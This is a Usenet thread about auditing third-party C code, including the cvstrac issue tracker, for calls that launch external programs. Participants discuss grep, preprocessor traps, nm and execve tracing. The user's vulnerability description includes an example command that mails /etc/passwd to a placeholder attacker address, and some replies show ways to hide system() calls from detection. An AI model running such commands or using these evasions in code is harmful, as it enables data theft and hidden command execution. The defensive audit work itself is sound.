What keywords or functions would I need to locate?
I am thinking of using grep to simply search for the function names. Would
that be sufficient, or is it possible that function names are split across
several lines, making it possible for some instances to be missed during the
audit?
Mark.
--
Mark Hobley
Linux User: #370818 http://markhobley.yi.org/
The standard one is system, but pretty much all systems where this is
possible have other functions as well.
> I am thinking of using grep to simply search for the function names. Would
> that be sufficient, or is it possible that function names are split across
> several lines, making it possible for some instances to be missed during the
> audit?
Well, if you are considering possibly malicious source code then they
could play games with #define to build the token 'system' from
components, or they could use inline assembler, or all sorts of other
things.
--
Flash Gordon
This is Linux.
>
> Well, if you are considering possibly malicious source code then they
> could play games with #define to build the token 'system' from
> components, or they could use inline assembler, or all sorts of other
> things.
Thanks for that.
In these cases, the code is not malicious in this case, it is just badly
written open source code, that I need to track down the external software
calls, for the purpose of making changes.
So far ... I need to look for system, asm, and exec. Is there anything else?
(I know that I have to audit the libraries too).
Can the commands ever cross line boundaries causing failure of detection by
grep, such as in the example below? Or is this not possible?
syst
em("causedamage.sh");
In future instances, I may need to be able to track down tokenized system
call. Presumably, I could achieve detection of this via buildwrappers
on the preprocessor.
I may also need to look for utilization of specific library calls that cause
invocation of external commands. What strategy would be best for this (again
for future reference, of course).
popen() / pclose()
In that case you really need to ask in a Linux group...
>> Well, if you are considering possibly malicious source code then they
>> could play games with #define to build the token 'system' from
>> components, or they could use inline assembler, or all sorts of other
>> things.
>
> Thanks for that.
>
> In these cases, the code is not malicious in this case, it is just badly
> written open source code, that I need to track down the external software
> calls, for the purpose of making changes.
>
> So far ... I need to look for system, asm, and exec. Is there anything else?
> (I know that I have to audit the libraries too).
Well, they could use #define to make wrappers around any of the calls
which can invoke external programs... e.g.
#define SYSTEM(cmd) system(cmd)
Or something more complex.
Also, if it is badly written there are loads of other ways nasty things
could happen.
> Can the commands ever cross line boundaries causing failure of detection by
> grep, such as in the example below? Or is this not possible?
>
> syst
> em("causedamage.sh");
No, that cannot be done.
To be honest, if you don't know C well enough to know that then you are
not really in a position to do any form of audit on C code, especially
not a security or safety audit.
> In future instances, I may need to be able to track down tokenized system
> call. Presumably, I could achieve detection of this via buildwrappers
> on the preprocessor.
That may assist.
> I may also need to look for utilization of specific library calls that cause
> invocation of external commands. What strategy would be best for this (again
> for future reference, of course).
You really need to ask in a Linux group, since there may be all sorts of
Linux specific things which could do that.
--
Flash Gordon
> Mark Hobley wrote:
<snip>
>> syst
>> em("causedamage.sh");
>
> No, that cannot be done.
but this can:
syst\
em("causedamage.sh");
<snip>
--
Ben.
So ideally we need a way of causing the preprocessor to warn that the code
causes invocation of external programs and to identify the lines of source code
where this takes place. I wonder if the GNU C preprocessor has that
capability...
>> syst\
>> em("causedamage.sh");
>So ideally we need a way of causing the preprocessor to warn that the code
>causes invocation of external programs and to identify the lines of source code
>where this takes place. I wonder if the GNU C preprocessor has that
>capability...
You can compile each file and then run something on the object code
(nm for unix-like systems) that will show you the names of external
functions referred to. You may also be able to determine the line
numbers, but even without that it will help you identify which files
contain calls to the functions you are concerned about.
-- Richard
--
Please remember to mention me / in tapes you leave behind.
Preprocessor to the rescue!!!!
I would create a header file which "overloads" system(), exec*() popen(), etc by
crowbar-macros ala:
#define system(a) do { \
(void) fprintf(stderr, "System(%s) called in %s:%d\n", (a), __FILE__, __LINE ); \
some_undefined_function(); \
} while(0)
And similar lines for exec*(), etc. (you could also choose to add a abort() )
The reference to some_undefined_function() would cause the linker to fail.
gcc has an option -include <somename>, which allows you to include such a header,
before doing anything else.
If you want protect yourself against
sys\
tem(...);
, you'll probably have to use inline functions instead.
HTH,
AvK
Forbidden in any module that includes <stdlib.h> -- that is,
forbidden in exactly those modules that are of concern. Also, not
entirely effective:
int (*fptr)(const char*) = system;
fptr ("evildeeds.sh");
or simply
(system) ("evildeeds.sh");
... will evade this preprocessor trick.
You could try something along the lines of
#define system {] :-( [}
... but even that could be defeated by
#include "moi.h"
#undef system
#include <stdlib.h>
Note that <stdlib.h> itself is permitted to #undef system, even
if the source code that includes it does not.
> And similar lines for exec*(), etc. (you could also choose to add a abort() )
>
> The reference to some_undefined_function() would cause the linker to fail.
> gcc has an option -include<somename>, which allows you to include such a header,
> before doing anything else.
>
> If you want protect yourself against
> sys\
> tem(...);
> , you'll probably have to use inline functions instead.
I don't see what that has to do with it. Your preprocessor
magic would be no more or less effective because of the broken
line; line-splicing occurs before macro processing (which is why
macro definitions can be written with spliced lines).
Best bet for the O.P., I think, is to tackle the problem
with platform-specific tools like <ot> "nm" and "truss" </ot>,
and to seek advice in platform-specific groups. The C-based
advice he's getting addresses only part of his total problem.
--
Eric Sosman
eso...@ieee-dot-org.invalid
> Ben Bacarisse <ben.u...@bsb.me.uk> wrote:
>> but this can:
>>
>> syst\
>> em("causedamage.sh");
>>
>
> So ideally we need a way of causing the preprocessor to warn that the code
> causes invocation of external programs and to identify the lines of
> source code
I would take Eric's advice. I'd do this after the compile not
before. Using system tools you can see what functions are linked to
the interpose your own wrappers wound the ones you care about.
<snip>
--
Ben.
Right, so I could incorporate this facility into a buildwrapper.
>
> If you want protect yourself against
> sys\
> tem(...);
> , you'll probably have to use inline functions instead.
So the preprocessor would not strip the continuation character to straighten
this out into system(...); then?
Ok, I need to look at that inline function thingy. I suppose an easier way is
to grep the code for any lines that utilize a continuation character before
starting the audit.
AFAIK, it'll still do so. Inline functions won't help with your
specific problem.
<snip>
> On 2/6/2010 10:55 AM, Moi wrote:
>> On Fri, 05 Feb 2010 23:08:02 +0000, Mark Hobley wrote:
>>
>>> I have some open source software packages that were written in C by a
>>> third party, they make use of external programs. For the purposes of
>>> security auditing, and for making appropriate fixes, I need to locate
>>> all instances within the code, where an external program is being
>>> called.
>>>
>>> What keywords or functions would I need to locate?
>>>
>>> I am thinking of using grep to simply search for the function names.
>>> Would that be sufficient, or is it possible that function names are
>>> split across several lines, making it possible for some instances to
>>> be missed during the audit?
>>>
>>> Mark.
>>
>> Preprocessor to the rescue!!!!
>>
>> I would create a header file which "overloads" system(), exec*()
>> popen(), etc by crowbar-macros ala:
>>
>> #define system(a) do { \
>> (void) fprintf(stderr, "System(%s) called in %s:%d\n", (a), __FILE__,
>> __LINE ); \ some_undefined_function(); \
>> } while(0)
>
> Forbidden in any module that includes <stdlib.h> -- that is,
> forbidden in exactly those modules that are of concern. Also, not
> entirely effective:
Well, my idea was not intended as a cure, but more as a way to
detect or diagnose.
In any case, it would be better to include "moi.h" _after_ <stdlib.h>
(I don't know of gcc or any other compiler has a flag for this)
> int (*fptr)(const char*) = system;
> fptr ("evildeeds.sh");
>
In the case of a locally defined function (static, or even inline) "system()",
this would at least involve a name clash, and a diagnostic.
Maybe the safest way to detect the calls would be to use a stripped form of the
system libraries (but syscalls may be implemented via strange methods)
BTW/offtopic: for unix-programs, a way to avoid execution of external programs
would be to put the program in a chroot cage.
AvK
Whatever harm the program can do by launching an external program, it
can also do by replicating the actions of that program in its own code.
Suppose that it's ``evil'' to overwrite a file called /path/to/foo.
So of course you don't want the program running an external
command like "echo junk > /path/to/foo", right? But the program
can easily just open the file and overwrite it directly,
resulting in the same evil.
If you do not trust a program, you cannot simply concentrate your
mistrust only on those parts where it runs another program. You have
to mistrust every place where the program has any kind of interaction
with the environment; and moreover, any place where the program may
subvert the programming language, thereby gaining covert access to the
environment.
If your security model for the execution of this program is that it can
do something bad, but you are trusting it not to do that, then to be
sure it does not do anything bad, you must perform a line-by-line audit
by a team of people who have a clue about secure programming.
There is no short-cut, like looking only for places where it calls
one of the exec functions, etc.
Well, not quite. The short cut to running untrusted programs without
carefully validating everything they do is to run them in a sandboxed
environment established by fine-grained security policies. I.e. rather
than predict and prevent the program from doing something ``bad'', you
detect it and stop it.
You might want to learn about the security enhancements to the Linux
kernel known as SELinux. With SELinux, you can implement sandboxing
rules, so that you can run programs you don't entirely trust.
You can impose rules such as ``this executable can only launch one of
these other executables, and not any others'', or ``this executable can
only modify files under this directory''.
<snip>
> Ok, I need to look at that inline function thingy. I suppose an easier way is
> to grep the code for any lines that utilize a continuation character before
> starting the audit.
No, what you really need is to look for system specific tools and a
system specific list of functions to look for in a Linux group.
grep is a poor tool for this job.
--
Flash Gordon
>Whatever harm the program can do by launching an external program, it
>can also do by replicating the actions of that program in its own code.
Not at all. There may be external programs that have more privileges.
>If you do not trust a program, you cannot simply concentrate your
>mistrust only on those parts where it runs another program.
That depends on the nature of the mistrust. You may have reason to
believe that the program is not malicious, but fear that it places
undue trust in the environment used to run other programs.
Of course, the general thrust of your article is correct, but you
overstate the case.
> BTW/offtopic: for unix-programs, a way to avoid execution of external programs
> would be to put the program in a chroot cage.
Yeah this is a workaround (and in fact what the developer of the program
suggests). I think it would be better to locate and comment out the external
calls, so that the programs no longer require a chroot cage.
Right in this case, the program is an issue tracking system (cvstrac), that
allows arbitrary commands to be run by using data from a database that is made
accessible via the public interface.
The program is not malicious, but I do not want to provide the facility to
run such commands on my system using the public interface, so I need to
comment out those code sections.
I am planning to simply grep the code and comment out the external calls.
However, I do have other software that I wish to audit, so I would like the
facility to be able to do this.
> If you do not trust a program, you cannot simply concentrate your
> mistrust only on those parts where it runs another program.
> If your security model for the execution of this program is that it can
> do something bad, but you are trusting it not to do that, then to be
> sure it does not do anything bad, you must perform a line-by-line audit
> by a team of people who have a clue about secure programming.
I don't have a team of people, so I need to achieve this on my own.
If I know what to scan for, I should be able to find it :)
> With SELinux, you can implement sandboxing
> rules, so that you can run programs you don't entirely trust.
> You can impose rules such as ``this executable can only launch one of
> these other executables, and not any others'', or ``this executable can
> only modify files under this directory''.
Right. That sounds good. I will have a look at that. I still would like to
be able to patch programs to a trustworth state though. and I have got a few
packages that need an audit.
It can't tell.
There is no way to do this short of running the executable through all
possible code paths and instrumenting the system calls it makes.
Basically, you have two options:
1. Assume it'll all be really obvious. Check for the top few things
(popen, system, exec) and hope for the best.
2. Assume there might be something hidden. You have no options short
of completely instrumenting the entire run through all possible code
paths (including all possible inputs, in case of a back door triggered
by an input), or analyzing every single line of the code by hand until
you know what it does.
On modern Unix-like systems, there are dozens of ways to bypass the stuff
you've suggested so far. Someone trying to sneak something past you will
likely have used them.
-s
--
Copyright 2010, all wrongs reversed. Peter Seebach / usenet...@seebs.net
http://www.seebs.net/log/ <-- lawsuits, religion, and funny pictures
http://en.wikipedia.org/wiki/Fair_Game_(Scientology) <-- get educated!
If I understand correctly, the program itself is trusted, but it has a flaw
in that it can be caused to run arbitrary external programs through some
well-defined interface ?
SaSW, Willem
--
Disclaimer: I am in no way responsible for any of the statements
made in the above text. For all I know I might be
drugged or something..
No I'm not paranoid. You all think I'm paranoid, don't you !
#EOT
IIRC there are # directives that will cause a warning.
Jerry
This is an issue tracker (cvstrac) with a web interface.
The flaw is as follows:
The cvstrac has a potential security issue, whereby if a hacker gains
knowledge of the administrative password, he can gain access to shell commands
and compromise the whole system.
Here is the issue:
The hacker obtains the administrative password via brute force, or other means.
He now logs onto cvstrac as an administrator. To access the shell commands,
the user can now navigate the menus as follows:
Setup Diff & Filter Commands
The user can now enter malicious shell commands in the text box, for example:
cat /etc/passwd|mail hac...@badguys.net
There are similar vulnerabilities in the Wiki Markup and Change Notification
facilities.
The vulnerable configuration options are not permitted under the public
interface policy.
http://markhobley.yi.org/policy/publicinterface.html
(Scope for damage exceeds resources that the package provides)
It would be better if any shell commands used by cvstrac were stored in a
configuration file /etc/cvstrac/cvsconfig.conf rather than enabling them to be
edited via the cvstrac interface, or a facility was provided to disable these
configuration options.
Upstream will not fix this.
I could work around this with a sandbox, but I really want to fix the code.
what are you hoping to gain by banning external programs?
FWIW you also need to ban exec*, popen, and probably others,
--- news://freenews.netfront.net/ - complaints: ne...@netfront.net ---
> In future instances, I may need to be able to track down tokenized system
> call. Presumably, I could achieve detection of this via buildwrappers
> on the preprocessor.
Another option is to use "nm -D" on the binary to examine the list of
imported symbols. This won't work if the function is accessed through
dlopen/dlsym, though.
> I may also need to look for utilization of specific library calls that cause
> invocation of external commands. What strategy would be best for this (again
> for future reference, of course).
You can detect execution at run-time by tracing the execve system call.
Anything which executes a program (system, popen, the other exec*
functions, etc) will eventually go through here.
You may also want to trace run-time loading of libraries, in which case
you should trace calls to mmap() with the PROT_EXEC flag.
> BTW/offtopic: for unix-programs, a way to avoid execution of external programs
> would be to put the program in a chroot cage.
Two problems:
1. Easier said than done. Modern Unix systems are complex enough that
creating an adequate "virtual root" filesystem is extremely complex. Even
seemingly straightforward libc functions may need to use /proc or /dev,
dynamically load libraries (NSS, PAM), or run external helpers).
2. Not necessarily sufficient. chroot() limits filesystem access, but it
doesn't limit the ability to use TCP/IP sockets, SysV IPC entities, send
signals etc.
Brilliant. Could I also do this at audit time or compile time?
> You may also want to trace run-time loading of libraries, in which case
> you should trace calls to mmap() with the PROT_EXEC flag.
Again, this sounds good. If I can detect these at audit time or compile time
that would be great.
I am trying to audit open source packages for external program invocation
vulnerabilities. (such as invocation of arbitrary commands, and others).
I am also documenting any dependencies on external programs.
I have a program that requires a fix.
This is really nothing to do with C and everything to do with the Linux
tools available. So please drop comp.lang.c off the cross-posts.
It's probably not topical on the gcc groups either, since it is not
about the compiler or how to use it.
--
Flash Gordon
> Nobody <nob...@nowhere.com> wrote:
>> You can detect execution at run-time by tracing the execve system call.
>> Anything which executes a program (system, popen, the other exec*
>> functions, etc) will eventually go through here.
>
> Brilliant. Could I also do this at audit time or compile time?
No.
>> You may also want to trace run-time loading of libraries, in which case
>> you should trace calls to mmap() with the PROT_EXEC flag.
>
> Again, this sounds good. If I can detect these at audit time or compile time
> that would be great.
Again, no.
Ultimately, exhaustively predicting the behaviour of a program is
impossible (see: Halting Problem).
Assuming that you discount malice (i.e. actively trying to "hide" execve()
calls), you would need to start by searching the program and all libraries
for references to the syscall() function or the _syscall() macro. Chances
are, you won't find any outside of glibc.
Once you've identified which functions can call execve(), you then search
for functions which call those, then functions which call those, and so on.
Using a static call-graph analyser such as codeviz may help (I haven't
used it, so I can't say for sure). However, it isn't necessarily
sufficient; e.g. it won't accurately show cases where one function "sends"
a command to a worker task (process, thread, idle callback, etc) for
execution. The execution will show up in the call graph, but the send
which triggers it won't. It probably won't find calls via dlopen/dlsym either.
system(), exec() and friends, fork(), popen(), perhaps ptrace()..
> In future instances, I may need to be able to track down tokenized system
> call. Presumably, I could achieve detection of this via buildwrappers
> on the preprocessor.
You need output from the lexical analyzer, or at least input for the
parser. I'm not sure if a compiler (and which) will supply you with
debug information about those.. The preprocessor merely implements
macros.
> I may also need to look for utilization of specific library calls that cause
> invocation of external commands. What strategy would be best for this (again
> for future reference, of course).
Aside from runtime debugging with ptrace(), look for dlopen()/dlsym().
> system(), exec() and friends, fork(), popen(), perhaps ptrace()..
Thanks Michael.
Just to be clear fork() only calls a copy of the same process doesn't it? So
it cannot be used to launch arbitary commands?
I suppose that a process could keep forking, but that is a different type of
vulnerability in this context.
I also found vfork(), which presumably introduces similar vulnerabilities.
I just looked a ptrace().. that is a funny one. It appears to be able to
peek and poke at memory addresses of other processes.
Is there any unrelated vulnerabilities relating to this? (again for future
reference).
>> system(), exec() and friends, fork(), popen(), perhaps ptrace()..
>
> Thanks Michael.
>
> Just to be clear fork() only calls a copy of the same process doesn't it? So
> it cannot be used to launch arbitary commands?
Correct. "executing" a command typically involves fork() + exec(), but
it's the exec() that causes a specific program to be executed.
> I just looked a ptrace().. that is a funny one. It appears to be able to
> peek and poke at memory addresses of other processes.
Yes. ptrace() is the foundation for any kind of debugger. It allows one
process to monitor and control another. It's also the foundation for
various "sandbox" mechanisms.
> Is there any unrelated vulnerabilities relating to this? (again for future
> reference).
You can only ptrace() a process which you own and which is unprivileged
(exec()ing a setuid/setgid program causes a process to become privileged;
conversely, a process which is created as root but which then setuid()s to
a user account still remains privileged).
It's only a vulnerability if you're trying to impose restrictions above
and beyond the normal Unix account-based permission model.
E.g. if you have a privileged process which performs services on behalf of
an unprivileged process, you can't choose to trust a specific process; you
have to trust the account overall, as the user can control the "trusted"
process via ptrace() (but then they can also intercept library calls via
e.g. $LD_PRELOAD).
you can compile with -E and parse that output to get a list of the
functions called
(or perhaps use ldd on the binary to get a list of the symbols referenced)
then you just have to choose which functions are allwoed and which are
not.
It's likely you'll need to to ban several usually harmless system
calls like mmap and ldopen just because they could be abused.
If you can't accept that your task devolves into the halting problem,
which is generally considered to be insoluble.